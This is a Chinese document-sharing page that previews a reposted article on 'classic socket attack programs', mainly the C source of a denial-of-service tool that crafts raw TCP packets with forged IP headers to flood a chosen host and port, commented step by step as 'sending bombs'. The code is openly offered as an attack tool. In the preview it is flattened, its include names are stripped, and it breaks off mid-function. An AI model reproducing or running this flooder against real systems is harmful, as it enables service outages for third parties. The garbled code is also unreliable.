几个经典的SOCKET攻击程序

几个经典的SOCKET攻击程序

ID:40620687

大小:21.38 KB

页数:8页

时间:2019-08-05

几个经典的SOCKET攻击程序_第1页
几个经典的SOCKET攻击程序_第2页
几个经典的SOCKET攻击程序_第3页
几个经典的SOCKET攻击程序_第4页
几个经典的SOCKET攻击程序_第5页
资源描述:

《几个经典的SOCKET攻击程序》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库

1、转载]几个经典的SOCKET攻击程序信息来源:郑州大学安全园文章作者:不详文章修改:cbchen 1,著名的dos攻击软件CODE:/********************DOS.c*****************/#include#include#include#include#include#include#include#include#includevoidsend_tcp(intsockfd,structsockaddr_in*addr);unsignedshortcheck_sum(unsignedshort*addr,int

2、len);intmain(intargc,char**argv){intDESTPORT;intsockfd;structsockaddr_inaddr;structhostent*host;inton=1;if(argc!=3){fprintf(stderr,"Usage:doshostport.");exit(1);}DESTPORT=atoi(argv[2]);printf("noisattackinghost%swithport%d..",argv[1],DESTPORT);//printf("okstarted!");b

3、zero(&addr,sizeof(structsockaddr_in));addr.sin_family=AF_INET;addr.sin_port=htons(DESTPORT);if(inet_aton(argv[1],&addr.sin_addr)==0){host=gethostbyname(argv[1]);if(host==NULL){fprintf(stderr,"HostNameError:%sa",hstrerror(h_errno));exit(1);}addr.sin_addr=*(structin_addr*)

4、(host->h_addr_list[0]);}/****使用IPPROTO_TCP创建一个TCP的原始套接字****/sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);if(sockfd<0){fprintf(stderr,"SocketError:%sa",strerror(errno));exit(1);}/********设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写***/setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(

5、on));/****没有办法,只用超级护用户才可以使用原始套接字*********/setuid(getpid());/*********发送炸弹了!!!!****/send_tcp(sockfd,&addr);}/*******发送炸弹的实现*********/voidsend_tcp(intsockfd,structsockaddr_in*addr){charbuffer[100];/****用来放置我们的数据包****/structip*ip;inti;structtcphdr*tcp;inthead_len;/*******我们的数据

6、包实际上没有任何内容,所以长度就是两个结构的长度***/head_len=sizeof(structip)+sizeof(structtcphdr);bzero(buffer,100);/********填充IP数据包的头部,还记得IP的头格式吗?******/ip=(structip*)buffer;ip->ip_v=IPVERSION;/**版本一般的是4**/ip->ip_hl=sizeof(structip)>>2;/**IP数据包的头部长度**/ip->ip_tos=0;/**服务类型**/ip->ip_len=htons(head

7、_len);/**IP数据包的长度**/ip->ip_id=0;/**让系统去填写吧**/ip->ip_off=0;/**和上面一样,省点时间**/ip->ip_ttl=MAXTTL;/**最长的时间255**/ip->ip_p=IPPROTO_TCP;/**我们要发的是TCP包**/ip->ip_sum=0;/**校验和让系统去做**/ip->ip_dst=addr->sin_addr;/**我们攻击的对象**//*******开始填写TCP数据包*****/tcp=(structtcphdr*)(buffer+sizeof(structi

8、p));tcp->source=htons(LOCALPORT);tcp->dest=addr->sin_port;/**目的端口**/tcp->seq=rando

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。